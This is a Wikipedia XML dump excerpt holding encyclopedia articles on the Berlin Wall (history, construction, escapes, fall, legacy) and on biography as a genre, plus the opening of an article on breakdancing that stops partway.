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      <text xml:space="preserve">[[image:Berlin-wall.jpg|thumb|250px|right|Remnant of the Berlin Wall near Potsdamer Platz, June 2003|Remnant of the Berlin Wall near [[Potsdamer Platz]], June [[2003]].]]

The '''Berlin Wall''' ([[German language|German]]: ''Die Berliner Mauer''), initially constructed in [[1961]] and dismantled in the weeks following [[November 9]], [[1989]], was the most prominent part of the [[GDR border system]] and was an iconic symbol of the [[Cold War]].

Conceived of by the administration of [[Walter Ulbricht]] and approved by Soviet leader [[Nikita Khrushchev]], the wall was a long [[separation barrier]] between [[West Berlin]] and [[East Germany]], which permanently closed the border between [[East Berlin|East]] and West Berlin for a period of twenty-eight years.  It was built during the post-[[World War II]] period of [[History of Germany since 1945|divided Germany]], in an effort to stop the drain of labour and economic output associated with the daily migration of huge numbers of professionals and skilled workers between East and West Berlin, and the attendant [[defector|defections]], which had political and economic consequences for the [[Eastern bloc|Communist bloc]].  It effectively decreased illegal emigration (escapes - Republikflucht in German) from 2.5 million between [[1949]] and [[1962]] to 5,000 between [[1962]] and [[1989]].&lt;ref&gt;{{cite web | url=http://www.britannica.com/eb/article-9078806?query=berlin%20wall&amp;ct= | title=&quot;Berlin Wall&quot; | work = Encyclopedia Britannica | accessdate=2006-02-23}}&lt;/ref&gt;

However, the creation of the Wall was a propaganda disaster for East Germany and for the communist bloc as a whole. It became a key symbol of what Western powers regarded as Communist tyranny, particularly after the high-profile shootings of would-be defectors.  Political liberalization in the late [[1980]]s, associated with the decline of the [[Soviet Union]], led to relaxed border restrictions in East Germany, culminating in mass demonstrations and the fall of the East German government.  When a government statement that crossing of the border would be permitted was broadcast on [[November 9]], 1989, masses of East Germans approached and then crossed the wall, and were joined by crowds of West Germans in a celebratory atmosphere.  The Wall was subsequently destroyed by a jubilant public over a period of several weeks, and its fall was the first step toward [[German reunification]], which was formally concluded on [[October 3]], [[1990]].

==Background==
[[Image:Besatzungszonen ohne text.gif|thumb|200px|Occupied Germany in 1945]]
After the [[end of World War II in Europe]], Germany had been divided into four occupation zones. The old capital of [[Berlin]], as the seat of the [[Allied Control Council]], was itself subdivided into four occupation zones. Although the intent was for the occupying powers to govern Germany together in the borders from 1947, the advent of [[Cold War]] tension caused the [[France|French]], [[Britain|British]] and [[United States|American]] zones to be formed into the [[West Germany|Federal Republic of Germany]] (and [[West Berlin]]) in 1949, excluding the [[Soviet Union|Soviet]] zone which then formed the [[East Germany|German Democratic Republic]] (including [[East Berlin]]) the same year.

===Divergence of German states===
From 1949 onwards, the Federal Republic of Germany developed into a western capitalist country with a &quot;social market economy&quot; and a [[democracy|democratic]] parliamentary government. Prolonged economic growth starting in the 1950s fuelled a 30-year &quot;economic miracle&quot; ([[Wirtschaftswunder]]). Across the border, the German Democratic Republic established an authoritarian government with a Soviet-style [[planned economy|command economy]]. While the GDR became the richest, most advanced country in the Eastern bloc, many of its citizens still looked to the West for political freedoms and economic prosperity. The flight of growing numbers of East Germans to non-communist countries via West Berlin led to East Germany erecting the [[GDR border system]] (of which the Berlin Wall was a part) in [[1961]] to prevent any further exodus.

===Massive emigration===
From 1949 to 1961 huge numbers of professionals and skilled workers migrated daily between East and West Berlin, frequently because of lucrative opportunities in the [[Marshall Plan]] rebuilding West (one day the entire [[Mathematics]] Department of the [[University of Leipzig]] defected). Furthermore, many West Berliners travelled into East Berlin to do their shopping at state-[[Subsidy|subsidized]] stores, where prices were much lower than in West Berlin. This drain of labour and economic output threatened East Germany with economic collapse. This had ramifications for the whole [[Eastern bloc|Communist bloc]] and particularly the [[Soviet Union]], because East Germany's economy was being subsidized by the Soviet government, and simultaneously, the now-threatened East German production was responsible for all war reparations to [[Poland]] and the Soviet Union.

===Proposed barrier===
The impetus for the creation of the Berlin Wall came from East German leader [[Walter Ulbricht]], approved by Soviet leader [[Nikita Khrushchev]] but with conditions imposed. Ulbricht's proposal for a second air blockade was refused, and the construction of a barrier was permitted provided that it was composed at first of [[barbed wire]]. If the Allies challenged the barrier, the East Germans were to fall back and were not to fire first under any circumstances.

==Construction begins, 1961== 
[[image:Karte_berliner_mauer_en.jpg|thumb|300px|Position and course of the Berlin Wall and its border control checkpoints (1989)]]
Construction of 45 km (28 miles) around the three western sectors began on Sunday [[13 August]], [[1961]] in East Berlin.  That morning the zonal boundary had been sealed by East German troops. The barrier was built by East German troops and workers, not directly involving the Soviets. It was built a little way inside East German territory to ensure that it did not encroach on West Berlin at any point; if one stood next to the West Berlin side of the barrier (and later the Wall), one was actually standing on East Berlin soil. Some streets along which the barrier ran were torn up to make them impassable to most vehicles and a barbed-wire fence was erected, which was later built up into the full-scale Wall. It physically divided the city and completely surrounded West Berlin. During the construction of the Wall, [[National People's Army|NVA]] and [[Combat Groups of the Working Class|KdA]] soldiers stood in front of it with orders to shoot anyone who attempted to defect.
Additionally, the whole length of the border between East and West Germany was closed with chain-fences, walls, minefields, and other installations (see [[GDR border system]]).

===Immediate effects===
Many families were split. Many East Berliners were cut off from their jobs and from chances for financial betterment; West Berlin became an isolated enclave in a hostile land.  West Berliners demonstrated against the wall, led by their mayor [[Willy Brandt]], who strongly criticized the United States for failing to respond.  Allied intelligence agencies had hypothesized about a wall to stop the flood of refugees but the main candidate for its location was around the perimeter of the city.

[[Image:Kennedy_in_Berlin.jpg|thumb|President John F. Kennedy visiting the Berlin Wall on [[June 26]], 1963]]
[[John F. Kennedy]] had accepted in a speech on [[25 July]], [[1961]] [http://www.jfklibrary.org/jfk_berlin_crisis_speech.html] that it could only really hope to defend West Berliners and West Germans; to attempt to stand up for East Germans would only result in an embarrassing climbdown.  Accordingly, the administration made polite protests at length via &quot;the usual channels&quot;, but without fervour, even though it was a violation of the postwar Four Powers Agreements, which gave the [[United Kingdom]], [[France]] and the [[United States]] a say over the administration of the whole of Berlin.  Indeed, a few months after the barbed wire went up, the U.S. government would inform the Soviet government that it accepted the Wall as &quot;a fact of international life&quot; and would not challenge it by force.

The East German government claimed that the Wall was an &quot;anti-fascist protection barrier&quot;, intended to dissuade aggression from the West. However, this position was viewed with scepticism even in East Germany; its construction had caused considerable hardship to families divided by the Wall, and the Western view that the Wall was a means of preventing the citizens of East Germany from entering West Berlin was widely seen as being the truth.

===Secondary response===
It was clear both that West German morale needed more and that there was a serious potential threat to the viability of West Berlin. If West Berlin fell after all the efforts of the [[Berlin Blockade#The Berlin Airlift|Berlin Airlift]], how could any of America's allies rely on her?  On the other hand, in the face of any serious Soviet threat, an enclave like West Berlin could not be defended except with nuclear weapons.  As such, it was vitally important for the Americans to show the Soviets that they could push their luck no further.

Accordingly, General [[Lucius D. Clay]], who was deeply respected by Berliners after commanding the American effort during the Berlin Airlift (1948&amp;ndash;49), and was known to have a firm attitude towards the Soviets, was sent to Berlin with ambassadorial rank as Kennedy's special advisor.  He and Vice President [[Lyndon B. Johnson]] arrived at [[Tempelhof International Airport|Tempelhof Airport]] on the afternoon of Saturday [[19 August]].  

They arrived in a city defended by what would soon be known as the &quot;[[Berlin Brigade]]&quot;, which then consisted of the 2nd and 3rd Battle Groups of the 6th Infantry, with Company F, 40th Armor.  The battle groups were pentatomic, with 1362 officers and men each.  On [[16 August]], Kennedy had given the order for them to be reinforced.  Early on [[19 August]], the 1st Battle Group, 18th Infantry (commanded by Col. Glover S. Johns Jr.) was alerted.

On Sunday morning, lead elements in a column of 491 vehicles and trailers carrying 1500 men divided into five march units and left the Helmstedt-Marienborn checkpoint at 06:34.  At Marienborn, the Soviet checkpoint next to [[Helmstedt]] on the West German/East German border, U.S. personnel were counted by guards.  The column was 160 km (~100 miles) long, and covered 177 km (~110 miles) from Marienborn to Berlin in full battle gear, with VoPos (East German traffic police) watching from beside trees next to the autobahn all the way along.  The front of the convoy arrived at the outskirts of Berlin just before noon, to be met by Clay and Johnson, before parading through the streets of Berlin to an adoring crowd.  At 0400 on Monday, [[21 August]], Lyndon Johnson left a visibly reassured West Berlin in the hands of Gen. Frederick O. Hartel and his brigade, now of 4224 officers and men.  Every three months for the next three and a half years, a new American battalion was rotated into West Berlin by [[autobahn]] to demonstrate Allied rights.

The creation of the Wall had important implications for both Germanies. By stemming the exodus of people from East Germany, the East German government was able to reassert its control over the country. However, the Wall was a propaganda disaster for East Germany and for the communist bloc as a whole. It became a key symbol of what Western powers regarded as Communist tyranny, particularly after the high-profile shootings of would-be defectors (which were later treated as acts of murder by the reunified Germany). In [[1987]], [[Ronald Reagan]] gave a famous speech at the [[Brandenburg Gate]], at which he challenged [[Mikhail Gorbachev]] to &quot;[[tear down this wall]]&quot;. In West Germany, dismay that the Western powers had done nothing to prevent the Wall's creation led directly to the policy of [[Ostpolitik]] or rapprochement with the east, in an effort to stabilize the relationship of the two Germanies.

==Layout and modifications==
[[Image:Berlin Wall.jpg|thumb|250px|right|In the last phase of the wall´s development, the &quot;death strip&quot; between fence and concrete wall gave guards a clear shot at hundreds of would-be escapees from the East.]]

The Wall was over 155 km (96&amp;nbsp;miles) long. In June [[1962]] work started on a second parallel fence up to  91 meters (100 yards) further in, with houses in between the fences torn down and their inhabitants relocated. A [[no man's land]] was created between the two barriers, which became widely known as the &quot;death strip&quot;. It was paved with raked gravel, making it easy to spot footprints left by escapees; it offered no cover; it was mined and booby-trapped with tripwires; and, most importantly, it offered a clear field of fire to the watching guards. 

Over the years, the Wall went through four distinct phases:

# Basic wire fence (1961)
# Improved wire fence (1962-1965)
# Concrete wall (1965-1975)
# ''Grenzmauer 75'' (Border Wall 75) (1975-1989)

The &quot;fourth generation wall&quot;, known officially as &quot;Stützwandelement UL 12.11&quot;(Retaining wall element UL 12.11), was the final and most sophisticated version of the Wall. Begun in [[1975]]&lt;ref&gt;http://www.dailysoft.com/berlinwall/history/facts.htm&lt;/ref&gt; and completed about [[1980]],&lt;ref&gt;http://www.wall-berlin.org/gb/mur.htm&lt;/ref&gt; it was constructed from 45,000 separate sections of reinforced concrete, each 3.6 m (12 ft) high and 1.2 m (4 ft) wide, and cost 16,155,000 [[East German mark|East German marks]].&lt;ref&gt;http://www.dailysoft.com/berlinwall/history/facts_02.htm&lt;/ref&gt; The top of the wall was lined with a smooth pipe, intended to make it more difficult for escapers to scale it. It was reinforced by mesh [[fence|fencing]], signal fencing, anti-vehicle trenches, [[barbed wire]], over 116 [[watchtower (fortification)|watchtowers]],&lt;ref&gt;http://www.die-berliner-mauer.de/en/fakten.html&lt;/ref&gt; and twenty [[bunker]]s. This version of the Wall is the one most commonly seen in photographs, and surviving fragments of Wall in Berlin and elsewhere around the world are generally pieces of the fourth-generation Wall.

==Official crossings and usage==
[[Image:Berlin leaving.jpg|thumb|The famous you are leaving and...]]
[[Image:Berlin entering.jpg|thumb|...you are entering at Glienicker Brücke 1985]]
During most of the history of the Wall, Allied military personnel, officials, and diplomats were able to pass into East Berlin. This was a requirement of the post-war Four Powers Agreements. West Berliners were initially subject to very severe restrictions; all crossing points were closed to West Berliners between [[August 26]], [[1961]] and [[December 17]], [[1963]], and it was not until September 1971 that travel restrictions were eased following a Four Powers Agreement on transit issues. Passage in and out of West Berlin was limited to twelve crossing points on the Wall, though all but two of these were reserved for Germans. 

The only land route into Berlin accessible to Westerners was the [[Bundesautobahn 2|Berlin-Helmstedt autobahn]], which entered East German territory at the town of [[Helmstedt]] (Checkpoint Alpha) and connected to Berlin at Dreilinden (Checkpoint Bravo) in south-western Berlin. A crossing at [[Friedrichstraße]] ([[Checkpoint Charlie]]) in central Berlin gave Westerners their only access between West and East Berlin. 

Foreigners frequently and legally crossed the Wall, and the East Germans welcomed their money. They were of course always subject to careful checks both entering and leaving.  When exiting, the police would typically run a mirror under each vehicle to look for persons clinging to the undercarriage.  East Germans were occasionally given permission to cross, particularly when they were too old to work. At the border section in [[Potsdam]] the captured U-2 pilot [[Gary Powers]] was traded for Russian spy [[Vilyam Genrikhovich Fisher|Rudolf Abel]].

One location where Westerners could cross the border was Friedrichstraße station in East Berlin.  When the Wall was erected, Berlin's complex public transit networks, the [[Berlin S-Bahn|S-Bahn]] and [[Berlin U-Bahn|U-Bahn]], were divided with it.&lt;ref&gt;http://www.wall-berlin.org/gb/mur.htm&lt;/ref&gt;  Some lines were cut in half; many stations were shut down.  Three Western lines traveled through brief sections of East Berlin territory, passing through eastern stations (called ''Geisterbahnhöfe,'' or [[ghost station]]s) without stopping.  Both the eastern and western networks converged at Friedrichstrasse, which became a major crossing point for those (mostly Westerners) with permission to cross. ==
===Escape attempts=== 
[[image:Peterfechter2.jpg|right|thumb|200px|Peter Fechter lies dying after being shot by East German border guards. This photo achieved international notoriety.]]
During the Wall's existence there were around 5,000 successful escapes into West Berlin. Varying reports claim either 192 or 239 people were killed trying to cross&lt;ref&gt;http://www.dailysoft.com/berlinwall/history/facts_01.htm&lt;/ref&gt;&lt;ref&gt;http://www.die-berliner-mauer.de/en/fakten.html&lt;/ref&gt; and many more injured. 

Early successful escapes involved people jumping the initial barbed wire or leaping out of apartment windows along the line but these ended as the wall improved. Later successful escape attempts included long tunnels, sliding along aerial wires, flying [[ultralight aviation|ultralights]], and even one man who drove a very low sports car underneath a barricade at [[Checkpoint Charlie]].

Another airborne escape was by Thomas Kruger, who landed a Zlin Z-42M light aircraft of the Gesellschaft für Sport und Technik, an [[East German]] youth military training organisation, at [[Gatow Airport|RAF Gatow]]. His aircraft, registration DDR-WOH, was dismantled and returned to the East Germans by road, complete with humorous slogans painted on by [[Royal Air Force|RAF]] Airmen such as &quot;Wish you were here&quot; and &quot;Come back soon&quot;. DDR-WOH is still flying today, but under a different registration.

The most notorious failed attempt was that of [[Peter Fechter]] who was shot and left to bleed to death in full view of the western media, on [[August 17]] [[1962]]. The last person to be shot trying to cross the border was [[Chris Gueffroy]] on [[February 6]], [[1989]].

==The fall, 1989==
[[Image:Berlin-wall-dancing.jpg|thumb|250px|Germans dancing on the Berlin Wall.]]
[[Image:62411752 8021f8180a.jpg|thumb|right|250px|This famous sign from [[Checkpoint Charlie]] from 2005]] 
On [[August 23]], [[1989]], [[Hungary]] removed its border restrictions with [[Austria]], and in September more than 13,000 East Germans escaped through Hungary. Mass demonstrations against the government in East Germany began in the autumn of 1989. The leader of East Germany, [[Erich Honecker]], resigned on [[October 18]], [[1989]] and was replaced by [[Egon Krenz]] a few days later. He predicted that the wall would stand for a &quot;hundred more years.&quot; He would be 100 years off.

The new Krenz government decided to allow East Berliners to apply for visas to travel to West Germany. [[Günter Schabowski]], the East German Minister of Propaganda, had the task of announcing this; however he had been on vacation prior to this decision and had not been fully updated on this decision. Shortly before a press conference on [[November 9]] [[1989]], he was handed a note that said that East Berliners would be allowed to cross the border with proper permission, but gave no further instructions on how to handle the information. Because the regulations had only been completed a few hours before the conference they were to take effect the following day, allowing time to inform the border guards first; however, nobody had informed Schabowski. He read the note out loud at the end of the conference; when asked when the regulations would come into effect, he assumed it would be the same day based on the wording of the note and replied &quot;As far as I know effective immediately, right now&quot;.

Tens of thousands of East Berliners heard Schabowski's statement and flooded the checkpoints in the Wall demanding entry into West Berlin. The surprised and overwhelmed border guards made many hectic telephone calls with their superiors, but it became clear that there was no way to hold back the huge crowd of East German citizens short of dispatching the army with lethal force, as the vastly outnumbered border guards had only been equipped for regular duty. The guards and the East Berlin government were not willing to use lethal force, so in face of the escalating crowd safety issues the guards finally yielded, opening the checkpoints and allowing people through with little or no identity checks. The ecstatic East Berliners were soon greeted by West Berliners on the other side in a celebratory atmosphere. [[November 9]] is thus considered the date the Wall fell. In the days and weeks that followed people came to the wall with sledgehammers and gradually knocked it down.

The fall of the wall was the first step toward [[German reunification]], which was formally concluded on [[October 3]], [[1990]].

===Celebrations===
[[Image:Berlinwall.jpg|right|thumb|200px|&quot;Irgendwann fällt jede Mauer&quot; &lt;br /&gt;- &quot;Eventually all walls fall&quot;]]
On [[December 25]], [[1989]] [[Leonard Bernstein]] gave a concert in Berlin celebrating the end of the Wall, including [[Ludwig van Beethoven|Beethoven]]'s [[Symphony No. 9 (Beethoven)|9th symphony]] (''[[Ode to Joy]]'') with the chorus' word &quot;Joy&quot; ''(Freude)'' changed to &quot;Freedom&quot; ''(Freiheit)''. [[Roger Waters]] performed the [[Pink Floyd]] concert ''[[The Wall]]'' in [[Potsdamer Platz]] on [[21 July]] [[1990]], with guests including [[The Scorpions (English band)|The Scorpions]], [[Bryan Adams]], and [[Van Morrison]]. [[David Hasselhoff]] performed his song &quot;Looking for Freedom&quot;, which was very popular in Germany at that time, standing on the Berlin wall.

Some believe [[November 9]] would have made a suitable German National Holiday both because it marks the emotional apogee of East Germany's peaceful revolution because it was also the date of the declaration of the first German republic, the [[Weimar Republic]], in [[1918]]. However, because November 9 is also the anniversary of the infamous ''[[Kristallnacht]]'' [[pogrom]]s of [[1938]], [[October 3]] was chosen instead. Part of this decision was that the West German government wanted to conclude reunification before East Germany could celebrate a 41st anniversary on [[October 7]] [[1990]].

===Aftermath and implications===
[[Image:Berlin wall 1990.jpg|thumb|right|200px|Almost all of the remaining sections of Berlin Wall were rapidly chipped away. Photo December [[1990]].]]
[[Image:Checkpoint Charlie Memorial.JPG|thumb|200px|right|A temporary memorial of over 1,000 crosses and a segment of the wall for those who died attempting to cross.]]

The fall of the Wall considerably changed traffic patterns in the city and the [[M-Bahn]]. An experimental [[maglev train|magnetic levitation train]] system around 1.6 km (1 mile) in length was demolished just months after its official opening in July [[1991]] as it used part of the track bed of an underground line previously severed by the wall.

==Legacy==
Little is left of the Wall in Berlin, which was destroyed almost everywhere, except for three locations: an 80 meter (300 ft) section near [[Potsdamer Platz]], a longer section along the [[Spree]] River near the [[Oberbaumbrücke]] nicknamed [[East Side Gallery]], and a third section in the north at [[Bernauer Straße]], which was turned into a memorial in 1999. Even the parts that are left standing no longer accurately represent the Wall's original appearance: they are badly damaged (since so many people attempted to pick up &quot;original Berlin Wall&quot; pieces), and today [[graffiti]] is prevalent on the eastern side of the Wall, which obviously would not have been possible while the Wall was actually guarded by the armed soldiers of East Germany. Previously, graffiti was exclusively on the western side.

===Museum===
Fifteen years after the fall of the Berlin Wall, a private museum rebuilt a 200 meter (656 ft) section close to [[Checkpoint Charlie]], although not in the location of the original wall. They also erected over 1,000 crosses in memoriam to those who had died attempting to flee to the West. The memorial was installed in October 2004 and demolished in July 2005.&lt;ref&gt;http://www.goethe.de/ins/gb/prj/scs/txt/en205918.htm&lt;/ref&gt;&lt;ref&gt;{{cite web | author=Furlong, Ray | title=Berlin Wall memorial is torn down | publisher=BBC News | year=July 5, 2005 | url=http://news.bbc.co.uk/2/hi/europe/4651823.stm | accessdate=2006-02-23}}&lt;/ref&gt;
[[Image:Brussels EU Berlin Wall.jpeg|thumb|200px|right|A portion of the wall is on display outside the EU Parliament in [[Brussels, Belgium]].]]

===Cultural differences===
Even now, some years after reunification, there is still talk in Germany of continuing cultural differences between East and West Germans (colloquially ''[[Ossi]]s'' and ''[[Wessi]]s''), sometimes described as &quot;Mauer im Kopf&quot; (&quot;The wall in the head&quot;). A September 2004 poll found that 25% of West Germans and 12% of East Germans wished that East Germans and West Germany were again cut off by the Berlin Wall.&lt;ref&gt;{{cite web | author=Reuters | title=One in 5 Germans wants Berlin Wall rebuilt | publisher=MSNBC | year=September 8, 2004 | url=http://www.msnbc.msn.com/id/5942091/ | accessdate=2006-02-23}}&lt;/ref&gt; Many German public figures have called these numbers &quot;alarming&quot;.

==See also== 
* [[List of walls]]
* [[Brandenburg Gate]]
* ''[[Der Tunnel]]'', a film about a mass evacuation to West Berlin through a tunnel
* [[Operation Gold]]
* [[Ostalgie]]

==References==
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==Further reading==
* {{cite book
 | authorlink = William F. Buckley, Jr.
 | last = Buckley | first = William F., Jr.
 | title = The Fall of the Berlin Wall
 | location = [[Hoboken, New Jersey]]
 | publisher = [[John Wiley and Sons]]
 | year = [[2004]]
 | id = ISBN 0471267364
 }} (A concise, very readable account of the history of the wall.)
* {{cite book
 | first = Curtis | last = Cate
 | title = The Ides of August: The Berlin Wall Crisis—1961
 | location = [[New York City]]
 | publisher = M. Evans
 | year = [[1978]]
 }}
* {{cite book
 | first = Honoré M. | last = Catudal
 | title = [[John F. Kennedy | Kennedy]] and the Berlin Wall Crisis
 | location = [[West Berlin]]
 | publisher = Berlin Verlag
 | year = [[1980]]
 }}
* {{cite web
 | author = [[John F. Kennedy | Kennedy, John F.]]
 | url = http://www.jfklibrary.org/speeches.htm
 | title = July 25, 1961 speech
 }}
* {{cite book
 | first = Peter | last = Wyden
 | title = Wall: The Inside Story of Divided Berlin
 | location = [[New York City]]
 | publisher = [[Simon and Schuster]]
 | year = [[1989]]
 }}

==External links==
* [http://www.wall-berlin.org/ www.wall-berlin.org]
* [http://www.die-berliner-mauer.de/en/index.html Retracing the Berlin Wall]
* [http://www.berliner-mauer-dokumentationszentrum.de/ Bernauer Straße Memorial website]
* [http://www.passkontrolle-ddr.de/ Information on the East German border system (in German)]
* [http://www.western-allies-berlin.com Allied Forces in Berlin (FR, UK &amp; US Berlin Brigade)]
* [http://www.guardian.co.uk/wall/ Photographs of time of the Fall as well as updates on the current situation in Germany]
* [http://www.theberlinobserver.com/1stBG18thinf.html Reports on reinforcements to Berlin Brigade]
* [http://www.jfklibrary.org/jfk_berlin_crisis_speech.html JFK speech clarifying limits of American protection]
* [http://home.att.net/~rw.rynerson/index2.htm  &quot;Berlin 1969&quot; includes sections on Helmstedt-Berlin rail operations.]
* [http://home.att.net/~rails_to_berlin/home.htm  Includes articles on rail transport for Berlin during the Cold War. (large files)]
* [http://www.restless-soul.co.uk/berlin1.htm  Berlin 1983: Berlin and the Wall in the early 1980s ]

===Images and Personal Accounts===
* [http://www.dieberlinermauer.de/berlinwallhome/berlinwallhome.html Berlin Wall - Pictures Photographs]
* [http://rosset.org/photography/berlin/berlin.htm Photos of the Berlin Wall by Georges Rosset]
* [http://www.berlinphotos.co.uk/html/the_wall.html Photos of the Berlin Wall 1989 to 1999]
* [http://www.berlin-wall.net/ Berlin Wall photos and stories 1989]
* [http://www.dewitt.photographer.org.uk/ images of the Berlin wall]
* [http://www.dailysoft.com/berlinwall/ Berlin Wall Online], Chronicle of the Berlin Wall history includes an archive of photographs and texts
* [http://www.andreas.com/berlin.html Personal Account of the Fall of the Berlin Wall]

{{Cold War}}

[[Category:Cold War]]
[[Category:Destroyed landmarks]]
[[Category:East Germany]]
[[Category:Former buildings and structures of Germany]]
[[Category:Graffiti and unauthorised signage]]
[[Category:History of Berlin]]
[[Category:History of Europe]]
[[Category:History of Germany]]
[[Category:Separation barriers]]
[[Category:Walls]]

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    <title>Biography</title>
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      <comment>/* See also */ List of political career biographies</comment>
      <text xml:space="preserve">{{portal}}

[[Image:lemorte.jpg|Le Morte d'Arthur|thumb|300px|Sir [[Thomas Malory]] wrote the most famous fictional biography of the Middle Ages with ''[[Le Morte d'Arthur]]'' about the life of [[King Arthur]].]]

''This is an article on biographies.  For information on policies concerning biographical articles on [[Wikipedia]], please see [[Wikipedia:Biography]]. For the television series, see [[Biography (television program)]].''

'''Biography''' (from the [[Greek language|Greek]] words ''bios'' meaning life, and ''graphein'' meaning write) is a genre of [[literature]] and other forms of media like [[film]], based on the written accounts of individual lives.  While a biography may focus on a subject of [[fiction]] or [[non-fiction]], the term is usually in reference to non-fiction.  As opposed to a [[profile]] or [[curriculum vitae]], a biography develops complex insight and highlights different textures of personality including intimate details of experiences.  A biography is more than a list of impertinent facts like birth, education, work, relationships and death.  It also delves into the emotions of experiencing such events.

==Early forms==
The first known biographies were written by [[scribes]] commissioned by the various rulers of antiquity: ancient [[Assyria]], ancient [[Babylonia]], ancient [[Egypt]], ancient [[Mesopotamia]], among others.  Such biographies tended to be chiseled into [[Rock (geology)|stone]] or [[clay]] tablets, a method called [[Cuneiform script|cuneiform]].  The [[Judaism|Jewish]] [[Hebrew Bible|holy scripture]] is an [[anthology]] of some of the earliest biographies in existence, detailing the lives of [[chief]]s, [[Monarch|kings]], [[tribes]], [[patriarchs]] and [[Prophet|prophets]].

==Classical forms==
Ancient Greece developed biographies that tended not to be objective.  Rather, these biographies were defenses of controversial people of the era they were living.  The best known of the classical biographies include ''Memorabilia'' by [[Xenophon]], ''Parallel Lives'' by [[Plutarch]] and ''Lives of Caesars'' by [[Suetonius]].  During the reign of the [[Roman Empire]], the [[Gospels]] attributed to [[Gospel of John|John]], [[Gospel of Luke|Luke]], [[Gospel of Mark|Mark]] and [[Gospel of Matthew|Matthew]] in the [[New Testament]] of the [[Bible]] were biographies about [[Jesus]].

==Middle Ages==
The Early [[Middle Ages]] (AD 400 to 1450) saw a decline in awareness of classical culture.  During this time, the only repositories of knowledge and records of early history was the [[Roman Catholic Church]].  [[Hermit]]s, [[monk]]s and [[priest]]s used this historic period to write the first modern biographies.  Their subjects were usually restricted to [[church father]]s, [[martyr]]s, [[papacy|popes]] and [[saint]]s.  Their works were meant to be inspirational to people, vehicles for [[conversion]] to [[Christianity]]. See [[hagiography]]. One significant example of biography from this period which does not exactly fit into that mold is the life of [[Charlemagne]] as written by his courtier [[Einhard]].

By the late Middle Ages, biographies became less church-oriented as biographies of [[monarch|king]]s, [[knight]]s and [[tyrant]]s began to appear.  The most famous of these such biographies was ''[[Le Morte d'Arthur]]'' by [[Sir Thomas Malory]].  The book was an account of the life of the fabled [[King Arthur]] and his [[Knights of the Round Table]]. 

Following Malory, the new emphasis on [[humanism]] during the [[Renaissance]] promoted a focus on secular subjects such as [[artist]]s and [[poet]]s, and encouraged writing in the vernacular. Two other developments are noteworthy: the development of the [[printing press]] in the fifteenth century and the gradual increase in [[literacy]].

NEED BIO ON FEDE GALIZIA

==Multi-media forms==
With the technological advancements created in the late 20th and early [[21st century|21st centuries]], multi-media forms of biography became much more popular than literary forms.  Visual and film images were able to elaborate new dimensions of personality that written forms could not.  The popularity of these forms of biography culminated in the creation of such [[cable]] and [[satellite]] [[television network]]s as: [[A&amp;E Network|A&amp;E]], [[Biography Channel|The Biography Channel]], [[History Channel|The History Channel]] and History International.

==Book Awards==
Annually, several countries offer their writers a specific prize for writing a biography such as the:
*[[Drainie-Taylor Biography Prize]] &amp;ndash; Canada
*[[Pulitzer Prize for Biography or Autobiography]] &amp;ndash; United States
*[[Whitbread Prize for Best Biography]] &amp;ndash; United Kingdom

==See also==
* [[List of biographers]]
* [[Lists of people]]
* [[List of political career biographies]]
* [[Autobiography]]
* [[Family history]]
* [[People]]
* [[Historical document]]
* [[Dictionary of National Biography]] (DNB, notable figures from [[United Kingdom|British]] history)
* [[NNDB]] (Notable Names Database)

==External links==
* [http://biography-directory.com/ Biography directory]
* [http://www.awardannals.com/genre/biography/ Most Honored Biography] at the [http://www.awardannals.com/ Book Award Annals]
*[http://biographies-memoirs.investitor.net/index.htm Biographies and Memoirs]
* [http://www.writersservices.com/mag/05/Writing_biog_autobiog_1.htm Writing Biography &amp; Autobiography]
* [http://www.celebsbiography.com Biography of Celebrity]




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  <page>
    <title>Breakdancing</title>
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      <comment>links + musical tempo + gender inclusive language</comment>
      <text xml:space="preserve">'''Breakdancing''', also known as '''breaking''' and '''b-boying''' by its practitioners and followers, is a [[street dance]] style that evolved as part of the [[hip hop culture|hip hop]] movement in the South [[Bronx]] of [[New York City]] during the early [[1970s]]. Breakdancing is one of the four original elements (or 'pillars') of hip hop, the others being [[Rapping]], [[Disc Jockey|DJing]], and [[Graffiti]].

==Etymology==
Breakdancing was never a term used by its original practitioners, who preferred to refer to themselves as '[[B-boy]]s' and '[[B-girl]]s'. The term was popularized in the '80s when it became more of a [[media]] phenomenon. David Toop describes breakdancing as being an adaptation of the Break, a dance popular before being replaced by the Freak (popularized by [[Chic]]'s &quot;Le Freak&quot; in [[1978]]), but then revived by artists such as the Nigga Twins, Spy, and the Zulu Kings.  He also explains that it may have originated from a literal break in the song: &quot;the word ''break'' or ''breaking'' is a [[music]] and [[dance]] term (as well as a [[proverb]]) that goes back a long way. Some tunes, like 'Buck Dancer's Lament' from the early [[20th century]], featured a two-bar [[silence]] every eight bars for the break - a quick showcase of improvised dance steps.&quot; However, in the documentary &quot;The Freshest Kids&quot; hip hop pioneer [[DJ Kool Herc]] insists that the name breaking originated in the slang term &quot;break&quot;, meaning someone going &quot;off&quot; or crazy, just as the dancers seemed to do when driven by the right beat. Some jokingly claim that the term is derived from the [[Fracture (bone)|'breaking' of bones]], due to several of the more advanced, high-risk movements.

==Dance==
In its early form, breakdancing was divided into three distinct forms: Breaking, dancing, and [[popping (dance)|popping]]. Breakdance is commonly associated with, but distinct from, popping which is one element of the [[funk styles]] that evolved independently in California during the [[1970s]], however elements of popping or poppin itself may have existed as a style or subculture of dance as early as the 1920's when it, or the general sub culture of dance associated with Afro-Americans was known as [[Boogaloo]]. Evidence of this is found in the form of statements made by certain &quot;founding&quot; poppers or originators of the modern styles, regarding witnessing or having knowledge of senior citizens and elders whom could either pop or [[boogie]], or taught them about some aspect of the art. Other styles of dance associated with the funk styles include [[locking (dance)|locking]], [[tutting]], [[krumping]], [[boogaloo]] and [[liquid dancing]]. These styles are sometimes more &quot;contortionistic&quot; than &quot;athletic,&quot; although they are often incorporated by breakdancers who wish to widen their expressive range. 

===Breakdance moves===
{{details|List of breakdance moves}}
All of the above styles factor heavily into the breaker's movements while standing, called '''toprock'''. Toprock is the name given to any part of a breakdancing routine that is performed principally from a standing position. Toprock moves depend upon [[coordination]], flexibility, and style. They are less physically demanding than most downrock moves, but perfecting them is a never-ending process. Toprock often begins the routine, and while it serves as a good warm-up for the more athletic moves that may follow, it is first and foremost a display of style. It is unorthodox-looking in general, and breakdancers take pride in inventing ever-more unique toprock. ''(Note: [[Uprock]] is sometimes used inappropriately as a [[synonym]] of toprock)''

